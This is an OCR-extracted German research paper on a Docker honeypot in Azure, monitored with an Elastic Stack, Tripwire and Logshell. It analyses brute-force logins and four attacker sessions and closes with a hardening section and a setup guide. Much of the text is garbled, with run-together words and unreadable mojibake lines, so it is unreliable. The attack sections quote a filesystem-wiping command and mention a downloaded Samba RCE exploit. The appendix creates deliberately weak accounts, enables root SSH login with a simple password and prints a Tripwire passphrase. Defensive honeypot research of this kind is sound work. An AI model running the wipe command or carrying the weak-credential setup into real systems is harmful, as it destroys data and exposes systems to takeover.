UNTERSUCHUNG VERSCHIEDENER ANGRIFFSVORGEHEN AUF EINEN KLASSISCHEN
HONEYPOT UND EMPFEHLENKIR ERKENNUNG VON KOMPROMITTIERTEN SYSTEMEN
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1 EINLEITUNG
Unternehmen unterliegemultiplen Risiken durch digitale Angriffe, wie bspw. Schadsoftware,
DDOS oder PassworAttacken mit der Aussicht, dass sich die Bedrohungslage durch
Cyberangriffe auch zukuinftig vergroRérie aus Cyberangriffen resultierenden méglichen
Umsatzeinbuf3ervon 2019 bis 2023 werden von Accenture auf ca. 5,2 BillioneBdlU&r
kalkuliert. Die daraus folgenden mdglichen Risikbspw. Verletzung der Schutzziels auch
negative monetare Auswirkungeq zeigen die globale Relevanz der Thematik und die
Notwendgkeit fur Unternehmen neben der Schaffung von Awareness fiur Cybersicherheit

auch praventive MaRnahmen zur Systemhartung zu ergreifen.

Um aktuelle Angriffsvorgehen zu eruieren und daraus resultierende Empfehlungen zur
Erkennung von kompromittierten Systemalarzulegen, soll im Rahmen dieses Papers ein
klassischer Honeypot eingesetzt werden. Ein Honeypot ist ein System, welches ein attraktives
Opfer fur einen Angriff darstellen soll und tber ausnutzbare Schwachstellen véifiest.
Honeypot selbst stellt kee produktiven Dienste bereit oder speichert produktionsrelevante
Daten, sondern ist mit Analyseind Protokollierungsmechanismen ausgestattet, die eine
genaue Verfolgung der Aktivitdten des Angreifers auf dem System ermdglichen.
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Virtuellen Maschine (VM) in der Azu@oud bereitgestellt und ist tber eine 6ffentliche IP fur
potenzielle Angreifer zuganglicMittels Sammlung von Protokolldateand dem Security
Information ard Event Managemen{SIEM)System in Form eines ElastStacksMittels
Logsammlungind dem Security Information and Event Management (SiBjstem in Form

eines Elastic Stackst eineweitergehendeKorrelation und Analyse dieser mdglich. ist eine

weitergehendeKorrelation und Analyse dieser moglich.

Lvgl.Statista (2021), S. 20, S. 2325
2Vgl. hierzu und zum Folgenden Haber/Hibbert (2018), S. 180; Schwenkler (2006), S. 317; Wendzel (2018), S.
202-203.



2 ZIELSETZUNG UND METHODIK
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Angriffsvorgehen werden von Angi®in verwendet und wie kdnnen kompromittierte
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eine adaquate FUmgebung aufzubauen und geeignete Verfahren und Mal3nahmen zur
Extraktion von Angriffsvorgehen auszuwéahleam auf Basis dieser Erkenntnisse
Empfehlungen zur Identifikation kompromittierter Systeme unterbreiten zu koénnen.

Nachfolgend wird die gewahlte Methodik zur Realisierung der Zielsetzung erlautert.

Die Untersuchung verschiedener Angriffsvorgehen wird inmniRen einer empirischen
Forschung mittels qualitativer Methoden durchgefiihrt. Dabei wird die Untersuchung
explorativ, was einer Erkundung unbekannter Phdnomene und Zusammenhange zur
Generierung von Hypothesen entspricht, durchgefifhAufgrund des Forstingsdesigns
bieten sich qualitative Methoden an, da diese wesentlich offener und flexibler gestaltet
werden konnen, um die Art und Weise von Hackerangriffen zu analysieren, nachzuvollziehen
und anschlieBend Empfehlungen zu formuliebetu betonen ist, dss trotz der Anwendung
gualitativer Methodiken der Forschungsprozess uberlegt und zielgerichtet durchgefuhrt
werden mus$. Ein solch qualitatives Instrument ist das Feldexperiment bei dem Ursache
WirkungsZusammenhénge in seiner nattrlichen Form beobeichterder’. Die Nutzung
eines Honeypots im 6ffentlich zuganglichen Internet mit geringen Authentifizierungshirden
Uber ein einfaches Passwort zur Ermittlung von verschiedenen aktuellen Angriffsszenarien

stellt ein solches Feldexperiment dar.

Die wissenduaftliche Methodik des Experimentes wird auch im Bereich defofénsik
genutzt. I|TForensik identifiziert, sichert, analysiert, dokumentiert und bereitet IT
Sicherheitsvorfalle Uber ein streng methodisches Vorgehen auf und dient in diesem Kontext
der Auklarung dieser Vorfalle zur Sicherung voisy/Btemen mit ihren Datentradgern oder in

Computernetzer?. Ein wichtiger Schritt sind die Ermittlung und Sicherung fliichtiger und

3 Die empirische Forschung zeichnet sich durch ein systematisch und methodisch begriindetes Vorgehen zur
Erhebung und Auswertung von Daten Uber den Einsatz geeigneter Methoden aus, wobei das Ziel die
Gewinnung von neuen Erkenntnissen ist. Vgl. Be&rabner(2016), S.CIX6§110; Balzert/Schréder/Schéafer
(2011), S.267.

4Vgl. BergeGrabner (2016), S.110.

5Vgl. BergeGrabner (2016), S.11HL7.

6\Vgl. Balzert/Schroder/Schafer (2011), S.267.

"Vgl. Balzert/Schroder/Schéafer (2011), S-2786.

8Vgl. hierzu undum Folgenden BSI (2011), S.13; Luber (2018)Absatz, 46.Absatz.
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nichtflichtiger digitaler Spuren. Bereits 2011 hat das Bundesamt fur Sicherheiérin

Informationstechnik (BSI) hierzu einen Leitfaden als Nachschlagewerk veréffentlicht.

Ausgangspunkt einer solchen forensischen analytischen Leistung ist ein erkanntes Symptom,
also untypisches Verhalten einerKkbmponente auf eineniT-System, wodurch ein Alarm

Uber die eingesetzten Schutzmechanismen erzeugt Widér Prozess der Horensik wird
anhand verschiedener Vorgehensmodelle mit jeweils unterschiedlicher Anzahl an
Untersuchungsschritten gestartet. Neben dem Investigativec&s¢ und SA-P-Modell

empfiehlt das BSI fur die Untersuchung eines System®idiendensechs Abschnitte

Strategische Vorbereitung

Prozess der Identifizierung und Auswahl forensischer Werkzeuge zur Gewinnung notwendiger Daten
nach einem IT-Sicherheitsvorfall inkl. Dokumentation der Kriterien nach denen die Auswahl erfolgte

<

Operationale Vorbereitung

Bereitstellung der ausgewahlten Werkzeuge in die IT-Umgebung und/oder auf einzelne IT-
Systeme

Abbildungl: Allgemeines Vorgehensmodell

9Vgl. hierzu und zum Folgenden BSI (2011),-%624
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Das vorliegende Paper folgt grundséatzlich dem allgemeinen Vorgehensmodell, wobei ein IT
Sicherheitsvorfall Gber den Angriff eines Taters auf den 6ffentlich zuganglichen Honeypot

willentlich erzwungen wird.

In der strategischen Vorbereitung findet eine Arse der Angriffsarten fir den vorliegenden
Versuchsaufbau statt. Die festgelegte Eintrittswahrscheinlichkeit basiert auf Stati8tiken
sowie der DelphMethode'! durch die Forschenden. Gleiches gilt fur das Angriffspotenzial,
welches das Potenzial der Z&irungdes Honeypots durch die Angriffsart und einer damit
einhergehenderkEinschrankung deMachvollziehbarkeit in den Phasen der Datensammlung
und Untersuchungbeschreibt. Das bedeutet, wenn bspw. der Honeypber Ransomware
verschlusselt wird, dass k& weiteren Versuche mit defdoneypot méglich und die Analyse

und Protokollierungsmechanismen nicht mehr nutzbar siben dieser Problematik zu
begegnen wird, wie im nachsten Kapitel beschrieben, der Honeypot als Container innerhalb

einer DockeitUmgebung aufgesetzt.

Anarifisart Eintritts- Angriffs-
g wahrscheinlichkeit| potenzial
Ransomware
X alta wlkyaz2Ys!l NeammeSkaRityet, dicdde
Zugriff auf Daten und Systeme einschranken oder verhindern 70 % sehr hoch

diese Ressourcen nur gegen Zahlung eines LoOsegeldes
FTNBAIBo Sy vé

Virus
XOAYFATASNIG SAy aqoAaatly3da a3asi
Programm oder System. Als Folge dieser Infektion fiihrt das befa 85 % hoch

Wirtsprogramm bei jedem Aufruf vor den eigenen Funktionen
110A2ySy RSa {OKI RO2RSa | d=DNA
so ungestortin andere N2 AN} YRI 6§ 8A Sy KAyS

Spoofing
X Aaid SAY 4. SANRTFT: RSNJ !
Cyberkriminelle sich als vertrauenswirdige Benutzer oder Geg 10 % normal

GaOF NYySyézx dzy . Sydzil SNJ T dz Hdcked
1 dZ3dz0iS12YYSyYy dzyR RSY . Bydzil SN
Brute-Force

X 0STSAOKYS(H RIFra aoASRSNK2f
sich, Anm. dVerf.] Zugang zu einem Benutzerkonto [zu, Anm,
Verf.]verschaffent

95 % normal

0vqgl. Statista (2021), S.20, S.23.

g, §4 RSONIIKSIRIKAOXS 6SNRSY LRSESY T dNJ [ ddzy3 12 YLK SESN
anerkannten Experten gesammelt und bewertet. Durch die Riickkopplung der einzelnen Aussagen nahern sich

die Ergebnisse nach mehreren Runden einem Durchschnitis@eit ! 6 Gak aNf RSNJ 6 HamMmTO0Z { &n
12BSI (2016), S. 4.

3BSI (2022h), &.

14 Kaspersky (2022), 8.

15BSI (2022¢), &.



Exploit

X A&ad SAYy a! yANRTFTF | dzF SAyS 95 % normal
RAS&S @2Y | SNERGOStfSNI 6SK206SYy

Spyware

X Aad SAyS oa{2Filié6l NS RAS R 70 % hoch

Aktivitaten eines Computernutzers zu Ubert@n und sensible
51 GSy Fdal HalLA 2y ASNByYy dd
Backdoor Trapdoor
X agANR SAYy ¢SAft SAYSN {2Fi(g¢
Zugang zum Computer erhalten. Dies geschieht, ohne dass der N 30 % hoch
RSa /2YLJzi SNE S& 0 SYSNDfimdis et
¢NP2FyAaOKS t FSNRST 2 NN SNJ 2R
Botnetz
X A&ad SAyS { dzYY SystErSeNyoBesdasHE stednl
als Roboter (kurz: Bot) vom Angreifer ohne Wissen des Bes
tibernommen wurdée? Der initiale Angriff startet vom Maste8ystem 85 %
mittels beliebiger Schadsoftware. Nach der Erlangung
Gesamtkontrolle wird der Bot zu Informationsdiebstahl, zur weite
Verteilung von Schadsoftware, Distributed Denial of Service (B[
Attacken oder zm KryptaMining missbraucht.
Tabellel: Risikoanalyse zu vermuteten Angriffsarten

sehr hoch

Fur das Vorgehen der Angreifer werden automatisierte Scans offener Ports mit
anschlieBender Ausfuihrung von Skripten oder die NutzwrgBxploits erwartet, wobei im
ersten Fall mittels Brut€&orce Angriff die initiale Ubernahme des Honeypots per geoffneten
Secure Shell SShtProtokoll mit niedriger Authentifizierungshirdevermutet wird.
Anschliel3end erfolgt der eigentliche Arffyiiber die verbleibenden vermuteten Angriffsarten,
wie bspw. einen Virus, Ransomware, Spyware usw. Zur weiteren Steigerung der Attraktivitat
des Honeypots wird ein Apache Webserver sowie ein Sdbiuast, welche durch gedffnete
Ports offentlich sichtbarisd, betrieben. Auch diese Endpunkte stellen eine Angriffsflache dar
und koénnten fUrExploits genutzt werden. Aufgrumigr einfachen Ausnutzung des SIShjins

ist dieser Angriff allerdingsals unwahrscheinlicherzu betrachten Als Analyse und
Pratokollierungsmechanismen werden Tripwife Logshetf, Hypertext Transfer Protocol
(HTTPR) Server Message Block (SMBYuthentication (Authlogs unddas System Logging

Protocol (Syslog) genutzt und Uber FileBéain einen ElasticStack bestehend aus

16 Statista (2021), S.50.

17 Statista (2021), S.50.

18]JONOS (2021), &.

9Vgl. hierzu und zum Folgenden BEI229, 0.S.; Schonschek (2016),%; Beiersmann (2021), 8.

200pen Source Tripwire ist ein freies Sicherheitsd DatenintegritatsTool zur Uberwachung und Alarmierung
bei Anderungen von Dateien oder Verzeichnisaaf einem I13System. Vgl. Academic (2010)So.

2 Logshell ist ein Tool, welches eine Shell startet und alle ausgefiihrten Vorgange innerhalb einer Datei
protokolliert. Vgl. Persons (2017), .

22 Filebeat ist ein leichtgewichtiger Agent, welcher Prafiikrungsdaten zentralisiert einsammelt und zum
Elasticsearchoder LogstasiTool zur Indizierung weiterleitet. Vgl. Elasticsea?@g, 0.S
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Elasticsearctt und Kiban#* tiberfiihrt. Alle strategischen Vermutungen und Entscheidungen

werden im ndchsten Kapitel Gber ein Architekthaubild visualisiert und operational in eine

CloudlInfrastruktur integriert.

3 AUFBAU

In der @erationalen Vorbereitung werden die genannten Aspekte technisch genauer

beschrieben. Hierzu dient das nachfolgende Architel8adnaubild. Die Beschreibung kann

dabei nur eine bestimmte technologische Tiefe erreichen, weshalb weiterfihrende

Informationen & den konkreten Konfigurationsschritteiem Installationsguicd® im Anhang

zu entnehmen sind.

& Subnetz mit NSG in Azure

Hacker

Students

NW-Settings: 10.0.0.0/24
GW: 10.0.0.1

Priv-1P: 10.0.0.4:22

Ubuntu-Distribution
CPU: 2 vCores
RAM: 8 GB
Storage: 50 GB
Local-IP: 10.0.0.4

PAT: 0.0.0.0:22

Priv-1P: 10.0.0.4:80

PAT: 0.0.0.0:80

Priv-IP: 10.0.0.4:139
Priv-IP: 10.0.0.4:445

PAT: 0.0.0.0:139
PAT: 0.0.0.0:445

R
L%

Pub-IP
20.126.158.152

Open Ports (Inbound)
21,22, 80, 139, 445,
16269, 52420

Open Ports (Outbound)
Any

Priv-IP: 10.0.0.4:16269

G
> I! SSH-Daemon

Honeypot - Ubuntu 14.04
NW-Settings: 172.17.0.0/16

SSH-Daemon

HTTP-Daemon(Apache) =
SMB-Daemon

Logging:

« var/logfalternatives.log,

« varflog/auth.log,

« var/log/bootstrap.og,

« var/logidpkg.log,

« varflog/kern.log,

« varflog/ubuntu-advantage log,
« var/logfsyslog,

« var/logftripwirelog,

« varflogfapache2/access.log,
« varflogfapache2/error.log,
« var/log/samba/™

« var/logflogshell™

Filebeat

Priv-IP: 10.0.0.4:9200

PAT. 0.0.0.0:9200

Linux ELK-Stack

NW-Settings: 172.18.0.0/16

Store, Index and
Search Logs

4

2 Elasticsearch nimmt alle vom Filebeat weitergeleiteten Protokolldaten auf, speichert und aggregiert diese
und erméglicht die Durchsuchung, Analyse und Indizierung der Daten. Vgl. ElasticReagt, ©.S

24 Kibana ist eine Visualisierungsd Navigationdlattform zur Steuerung des Elastic Stacks und erméglicht
neben einer grafischen Analyse bzw. Auswertdagprotokollierten Daten auch die Absicherung dieser Daten
sowie des Elastic Stacks. Vgl. Elasticse@@2?(), 0.S
25\gl. Anhang 1, S{427.



Priv-IP: 10.0.0.4:16222 PAT: 0.0.0.0:5601

Visualize Logs

kibana

Linux VPN-Wireguard
NW-Settings: 172.18.0.0/16

Legende <

Administration-Path
Priv-IP: 10.0.0.4:52420 PAT: 0.0.0.0:51820
Hacking-Path " WlREGUARQ
B
Availability-Path
—_—

Abbildung2: ArchitekturSchaubild der FOmgebung

Die genannten Tools zur Analysend Protokollierung dienen der Datensammlung und
Untersuchung sowie der spateren Datenanalyse. Zur Steigerung der Sicherheit werden jeweils
getrennte Container fir den Honeypot und die Tools zur Datenanalyse genutzt. Ein

zusétzlicher Container als VRbateway sichert den Zugriff auf die Kibana Weboberflache ab.

Als Grundlage fir die verschiedenen Dienste wird eine DeCketainerisierung verwendet.

Hier wird ein UbunteContainer fur den Honeypot vorbereitet, auf dem TrimyiApache2,
Samba, Filebeat, Logshell und ein &®Her installiert ist. Das fertige Image wird fur die
Rekonstruierung nach einem erfolgreichen Angriff wiederverwendet. Der Elastic Stack ist auf
einem Container in einem, vom Honeypot getrennten, Netzwargelegt, in dem auch der
Wire-Guard Container liegt. Hier kann eine Administration des Kibana nur innerhalb des
Netzwerkes abgesichert werden. Damit die Dienste des Honeypots von auf3en erreichbar sind,
wird der Container mit einem Portforwarding auf dd#iostsystem gestartet. Fir den Wire
Guard Container wird ein abgewandelter Port des Hostsystems weitergeleitet, um die
Sicherheit zu erh6hen. Damit das Hostsystem aus dem Internet erreichbar ist, wird auch hier

ein NAT/ Portforwarding fur ausgewahlte Poktanfiguriert.

Um die Attraktivitat fir einen Angriff zu steigern, sind mehrere Dienste, wie oben beschrieben,
auf dem Honeypot installiert. Das Radasswortwurde fir diese zudem einfach gehalten,
sodass schnell Ergebnisse sichtbar werden. Um die Sctuitterfolgen, welche der Angreifer
vornimmt, wird die eingerichtete Logshell verwendet. Hierbei wird dem Angreifer eine Shell
zur Verfugung gestellt, welche jedes Command aufzeichnet und anschlie3end in eine Logdatei

schreibt. Zuséatzlicdokumentiertder vorhandene Tripwire Verdnderungeém Dateisystem,



welche auch in einer separaten Logdatei geschrieben werden. Gemeinsam mit vielen
systemseitigen Logdateien, wie z.B. Syslog, auth.log oder auch error.log, welche in d&r Abb.
eingesehen werden kénnen, werd die eben genannten Logdateien mit dem Filebaan

Elastic Stackur Analyse Ubertragen.

4 UNTERSUCHUNG UND ANALYSE

Wie im vorangegangenen Kapitel beschrieben, wird der vorbereitete Aufbau entsprechend
implementiert. Allerdings liel3 sich in einer ersten Vorabuntersuchung feststellen, dass viele
Brute-Force Angriffe primar andere Benutz&ccounts als root verwenden. Adiesem Grund

wurden weitere Accounts mit Passwortern gleichlautendem Namen eingeriéht&ter

offizielle Untersuchungszeitraum erstreckte sich tber 6 Tage, wobei 744 erfolgreiche Brute
Force Angriffeeu verzeichnen warerh SNJ | 002 dzy G & | ROY2ANMIE GV ARIY AR/EY
hierbei an erster Stelle mit 467 von 744 erfolgreichen Angriffen. Auffallig ist zudem,idass d
Menge der Protokolldatem denAuthentifizierungk®g-Dateen im zeitlichen Verlauf steigend

zum Ende des Untersuchungszeitraums zunahm. Wihr zu Beginn des
Untersuchungszeitraums noch ca. 3@@tokolldatenim SIEMSystem zu verzeichnen waren,

stieg diese Anzahl bis zum Ende des Zeitraums auf cdbat@@d Hervorzuheben ist zudem,

dass viele erfolgreiche Ubergriffe auf das System anschitReine weiteren Konsequenzen

yIOK aAO0OK 123Sy dzyR RAS ! yINBAFSNI AY SAYySNJI !
Shell verweiltert! Zudem traten Netzwerkscans gegen den eingerichteten Apache Webserver

und Samba Dienst adf.

Im Untersuchungsprozessurden nach jeder erfolgreichen Ubernahmemit anschlieRend
ausgefuhrtenkommandos de#éngreifers, Sicherungen vom Docker Container Uber Docker
Images vorgenommen, um dieseszhlie3end forensisch zmalysierenAnschlielRend wurde
ein neuer Docker Container basierend auf einem nicht infizierten Zustand wiederhergestellt
und fur einen neuen Angriff prapariert. Insgesamt fanden vier erfolgreiche Angriffe statt bei

denen weitere Aktionen durch die Angreifer ausgefihrt wurden. Auszigeeugekirzten

26\/gl. Anhang 1, 91
27\/gl. Anhang 25.38-31.
28\V/gl. Anhang 2, $1-37.



Datensammlung zu den umfassenderen Angriffen lassen sich dem Anhang 2 entnehmen und

werden nachfolgend genauer erlautétt.

Angriff1

Beim ersten Angriff hat der Angreifer zunéachst den Hostname des Systems geprtft, um dann
mit dem Befehl rngrf / --no-preser rveprootroot das gesamte Filesystem zu |[6scRéDamit
wurden auch die Logshell und alle Logs entfesntjass ab diesem Zeitpunkgine weitere
Analyseerstellt werdenkonnte. Der Container wurdeabgeschaltet,der aktuelle Stand in
einem neuen Imaggespeichert und mit diesetmageisoliert hochgefahrenBeiStartendes
Containesfallt auf, dass diesarun auf einem Ubuntu 20.04.2 Betriebssystem basiert und der
VPNDienst WireGuard installiert ist. Weder konnteDatenverkehr, der auf eine Backdoor
hinweisen konnte, noch eine Anderung der Stand@ite-Guard-Konfiguration
nachgewiesen werden. Fur die nachsten Angriffe wurde der Hostname von den automatisch
ISy SNR S NI S WIThdd"gSuéchseltlzFm ein authentisches System darzustellen.

Angriff2

Der zweite Angreifer offnet zunachst eine Shellum dort verschiedene Prozesse zu
beenden3! Hierbeiwurdeauch die Logweiterleitung gestoppt, weshalb keine weitere Analyse
des Vorgehens moglich iRer Container wurde abgeschaltet vorgefunden, der aktuelle Stand
in einem neuen Image gespeichert und mit diesem Image isoliert hochgefdbeeQontainer
konnte nicht erneut gestartet werdenDie Vermutung liegt nahedass das Dateisystem

entweder verschlisselt oder geléscht worden ist.

Angriff3

Der dritte Angriffwar im Gegensatz zu den Vorherigen nicht destruititdierbeihat der
Angreifer auf dem System nigiert und einige Dateien und Ordner analysiert. Bevor er seine
Sitzungrennte, prifte er das logverzeichnis und I6scadie logsheH_ogs. Etwa 10 Minuten
spaterverbander sichwieder mit dem System undabdie Datei /etc/passwd aus, bevor er
die Verbndung erneut trenné. Auf dem Dateisystem sind abseits dgidschten Logkeine

Anderungen aufgefallerZiel war anscheinend die Sammlung von Informationen.

Angriff4

2Vgl.Anhang 2S538-44.

30\/gl. hierzu und zum Folgenden Anhang 28.S.3
31\/gl. hierzu und zum Folgenden Anhang 29-80.
32\/gl. hierzu und zum Folgenden Anhang 21.S.



Der vierte und in der Forensikmfangreichste Angriff ereignete sich am Abend des
13.03.20223 Hier installierte der Angreifer zunachst nmap und scannte das Netzwerk, in dem
der Honeypot sich bahd Daraufhin installierte er einen smbclient und leh Expbit der
Schwachstelle®CVE2017-7494 herunter. Diese Schwachstelle von Samban kaur remote
code execution ausgenutzt werden. Der Expist in Python geschrieben, weshalb der
Angreiferversucht hatPython, den PythoiiPaketinstaller pip und die pysmBibliothekzu
installieren.Da die Installatiorder pysmbBibliothek scheiterte,wurde der Exploit niemals
ausgefihrt. Daraufhin navigierte der Angreifer endhome-Verzeichnissen und bearbeitete
verschiedene Dateien wie zum Beispiel die /var/log/alaidn. AnschlieRendlésche der
Angreifer die Logshelund TripwireLogs stoppte die Services voirilebeat und Tripwire
lI6schie die Logshell und erstediteinen Link von der geloschten Logsh&hatei auf die
/bin/ bash.Danachnstallierte der Angreifer demildschirmschoner cmatrix un@3 diesen an
Stelle der /bin/bash ausfihrerbevor er sich vom Systemnennte. Der Container wurde
abgeschaltetder aktuelle Stand in einem neuen Imagespeichert und mit dieserimage
isoliert hochgefahrenBeim Versuch sich mit d&ash des Containersiverbinden erscheint

folgender Bildschirmschoner, der nicht umgangen werkiann

£P Manager@Honeypot: ~ u] X

Alternativ muss auf dieShell zurlickgegriffen werdenDie genauen Veranderungen am
Dateisystem konntemicht analysiert werdenga der TripwireService beendet wurdezine
grol3e Hilfe stelk allerdings dieBashHistory dar, die all&ommandos auf ddBash speichert
und glucklicherweise nicht voAngreifer geléscht oder bearbeitet wurdéusammenfassend

hat der Angreifervermutlich versucht weitere Systeme zu Ubernehmen, den Honeypot fir

33Vgl. hierzu und zum Folgenden Anhang 22-84
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seine Funktion wegenler Beendigung wichtiger Services und die /bin/bash unbrauchbar

gemacht.

5 ERGEBNISBED RESUMEE

Um die Angriffe von Aul3enstehendenihzeitig erkennenzu kénnen,empfiehlt sichdie
Bereitstellungeines SIEMfUr die Katalogsierungund Analyse der LodfileBlierdurch kénnen
die Aktivitaten auf dem zum beobachtenden System genaustens betrachtet undnieen e
kritischen Verhalterunmittelbar eingegriffen werdenZusatzlichbietet sichdie Einbringung
von Tripwire an, um Veranderungeam DateiSystemzu dokumentieren. Die Tripwixeogs

werden zur Analyse ergdnzead dasSIEM weitergeleitet.

DurchdasSIEMund die Logshelist eine Nachvollziehbarkeiduf demHoneypothinsichtlich

der Aktionen der Angreifegewahrleistet Durch die Sichtunder ausgefuhrten Angriffe auf
dem HoneyposindMalinahmen zuBystemhartungrkennbar die sich als logische Folge des
Angriffsvorgehens ergebenSomit empfiehlt sich als systemhéartende MalRnahmeie
regelmanigdurchfihrung vorsicherungen des Systems, umRalleines Ausfalls den Service
schnellstmdglich wiederhstellen zu kdnnepda durchBefehiwie z. Ba Naf / --no-preserve
roote das ganze Filesystem geldsargrden kannDes Weitererbietet sich die Nutzung von
AliasNamen fir bestimmte Commandsan, damit die StandardNamen durch den
Angreifenden nicht direkt genutzt werden konnen, wie z.Bas/ 2 YYl YR GNXé d 5
Hartungsmaoglichkeiergibt allerdings nuiin bedingten Situationen Sinn, da manche Befehle
relevant fir die Administration de Systemesind. Die erhaltenen Logs zeigemlass die
Authentffizierung Uber Brutd-orceAttackenerfolgen Eine empfohlen&egenmalinahmist
dementsprechenddie Anzahl der erlaubten Authentifizierungsmoglichkeiten zu reduzieren
und ein Timeout nacheiner bestimmten Anzahl arfehlgeschlagenen Versueh zu
integrieren Zusatzlickexistiert dieMoglichkeit eine Gedolicy tber die Firewall einzurichten,
um die Authentifizierung auf einen bestimmtageographischerBereich einzugrenzen, da
sehr viele Angriffe Uber verschiedene Lander abgewickelt worden dtitk weitere
Malinahme istlie Absicherung dedugrifsaufverschiedene&hells. Einige Angreifer wechseln
nach erfolgreicher Anmeldung die Shell, bevor sie rainceigentlichen Angriffortfahren.
Folglich ware eine Blockierung des Zugnfés nicht benotigten Shells sinnvallum Shell

Ausbriche zu verhindern.
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Neben den zuvor genanntévlalRnahmenzur Erkennung von Angriffen sind wefighrende
Instrumente denkbar,um den Honeypotauf individuelle Bedtrfnissezur verbesserten
Angriffserkennung anzupassen.So ist die Einrichtung von Standddéshboards mit
verschiedenen Filtern im SIEMis auch ein automatisierte Alarmierungs und
Benachrichtigungzozess bei anormalem Verhalten sinnvoll. Weiterhiwére die
Implementation eines Intrusion Detection Systems zur Erkennung untypischen Verhaltens auf
den IFSystemerdenkbar Als Basis fur die zuvor genanntstal3nahmenist das Parsen von
relevanten Informationen zur LogAuswertung bspw. Uber Logstash obligatorisch

angemessen

Obwohl744Brute-ForceAngriffeohne weiterfliihrendeAktionenals aucheinzelnespezifische
Angriffeausgefuhrt wurden und damit Erkenntnisse mit dem aufgebauten Honesyzielt
werden konnten ist die Plausibilitat der Ergebnissekritisch zu betrachten.Um eine
umfangreichere Anzahl an Angriffen zu erziellkegenVerbesserungspotenziale im Bereich
des Honeypots vor. Diese sind nachfolgendgelistet undermdglichenin einem erneuten

a 9 E LIS Naventhefleiné GewinnungussagekraftigereErgebnisse.

1. Logshell als auch Filebeat sind innerhalb des Contaitierden Angreifertrivial zu
erkennen

2. Nach derDestruktion des Honeypots konnte die Nkstallation des Honeypots
automatisiert werden

3. Die LogAnalysastin der aktuellen Konfigurationur manuell durchfuihrbag hier liegt
ein Optimierungspotenzial ider automatisiertenAnalyse delLogs

4. Zur verbesserten Absicherung des S$EKbOnnte ein Passwort sowie SSL
Verschlisselung implementiert werden

5. Grundsatzlich ist eine attraktivere Gestalgules Honeypots durckerschiedene
Aspekte wie z. Bdie Bereitstellung eineWebseite mit Moglichkeiten der SQL
Injection, Offentlich erreichbare Webseiten zurDatenbankAdministration (bspw.
phpMyAdmin) oder de Nutzung von Kddern (bspvinteressanteDaten) fir die

Angreifenderdenkbar
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ANHANG 1: Installationsguide

Guide

Bei Neustart des Honeypots missen folgende Schritte vorgenommen
werden

sudo docker run --name airit2 --hostname AIT-Prod -p 21:21 -p 22:22 -p
80:80 -p 139:139 -p 445:445 -it fantad/airit:v1.7

sudo tcpdump -i eth® port not 16269 and not port 52420 and not host
168.63.129.16

Unbedingt an Reihenfolge halten!!!
tripwire --init -> mit Passwort (3K"8aJ;85PUGEP8v)

Wenn tripwire nicht startet wegen “no such file (geforderter-local.key)
dann muss der aktuelle key per cp aktueller-local.key in geforderter-
local.key kopiert werden

Bsp mv 4bbcbedlba2b-local.key 7e6c84519cb4-local.key
rm /var/log/tripwirelog

rm /var/log/auth.log

service apache2 start

service samba start

service ssh start

service rsyslog start

filebeat setup -e

service filebeat start

Installation von Docker

sudo apt-get update
sudo apt-get install ca-certificates curl gnupg lsb-release

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --
dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
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echo "deb [arch=$(dpkg --print-architecture) signed-
by=/usr/share/keyrings/docker-archive-keyring.gpg]
https://download.docker.com/linux/ubuntu $(1sb_release -cs) stable" | sudo
tee /etc/apt/sources.list.d/docker.list > /dev/null

sudo apt-get update

sudo apt-get install docker-ce docker-ce-cli containerd.io

-> Sichern aktueller Containerstand in Image

sudo docker commit -m "added tripwire" -a "fanta4" 4bbcbedlba2b
fanta4/airit:vl.1

sudo docker commit -m "added tripwire" -a "fanta4" 142587408d14
fantad/airit_pwnd:vl

Anderung der SSH-Konfiguration auf der Azure VM
Sicheren Zugang liber Port 16269 auf der Azure VM

-> Offentlichen Port-Zugriff beim Auftraggeber beantragen
sudo nano /etc/ssh/sshd_config
-> Darin “Port 22” auf “Port 16269” dndern

sudo service sshd restart

Aufbau vom Honeypot
Erstellen des Honeypot Containers mit Ubuntu-Image

sudo docker pull ubuntu:14.04

-> Container erstellen fiir Honeypot - keine Portfreigaben, sondern erst bei Start des
Angriffs. Port-Zugriffe miissen auch beim Auftraggeber beantragt und freigegeben sein.

sudo docker run --name airit -it ubuntu:14.04
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-> Im Container eine Bash 6ffnen und in den Container springen

sudo docker exec -it airit /bin/bash

Erstellen zusatzlicher Benutzer
sudo adduser user

-> Passwort: user

sudo adduser username
-> Passwort: username
sudo adduser admin

-> Passwort: admin

sudo adduser support
-> Passwort: support
sudo adduser guest

-> Passwort: guest

sudo adduser monitor

-> Passwort: monitor

SSH-Konfiguration

apt install openssh-server

service ssh restart

passwd: password -> root Passwort fiir Honeypot Container
nano /etc/ssh/sshd_config

-> Darin “PermitRootLogin without-password" zu “PermitRootLogin yes” anpassen

Logging bearbeiten
# Logging
SyslogFacility AUTH

LogLevel INFO VERBOSE
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sudo service rsyslog restart

service sshd restart

TRIPWIRE
Quellen:

e https://www.digitalocean.com/community/tutorials/how-to-use-tripwire-to-detect-
server-intrusions-on-an-ubuntu-vps

e https://linux.die.net/man/8/tripwire
e https://www.techrepublic.com/article/how-to-install-and-use-tripwire-to-detect-
modified-files-on-ubuntu-server/

sudo apt install tripwire

Tripwire has been installed |

| |

| The Tripwire binaries are located in /usr/sbin and the database is located |
| in /var/lib/tripwire. It is strongly advised that these locations be stored |
| on write-protected media (e.g. mounted RO floppy). See |

| /usr/share/doc/tripwire/README.Debian for details.

[enter site-key passphrase: tripwire]

[enter local key passphrase: 3K"8aJ;85PU6EP8vV]

-> Database initialisieren:

sudo tripwire -init

nano /etc/tripwire/twpol.txt
Auskommentiert mit #

sudo tripwrie --init

Crontab anlegen, um alle 5 min das Dateisystem auf Veranderungen zu priifen und diese in
eine “Logfile” zu schreiben.

Command: --check >> /var/log/tripwirelog
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LogShell
Quellen:

e https://askubuntu.com/questions/397674/run-scripts-automatically-in-server-after-
ssh-connection

e https://github.com/dogoncouch/logshell
e https://github.com/dogoncouch/logshell/releases

-> Installation von LogShell

wget https://github.com/dogoncouch/logshell/archive/v@.4.tar.gz

make all -> Startet das setup.sh Skript und die Installation

Hinweis: Logshell Skript liegt im /usr/local/bin Verzeichnis

-> Erzwingen des LogShell-Skripts zum Start einer SSH Verbindung. In /etc/ssh/sshd_conf
wurde ForceCommand eingefiigt

ForceCommand /usr/local/bin/logshell

-> Im LogShell-Skript einige Anderungen vorgenommen
-> Logpfad wurde gedndert zu /var/log/logshell/*
-> Echo-Befehle wurden auskommentiert

-> Ausfihrung von script -f wurde auf script -fg gedndert, um Textausgaben beim
Starten von LogShell zu vermeiden

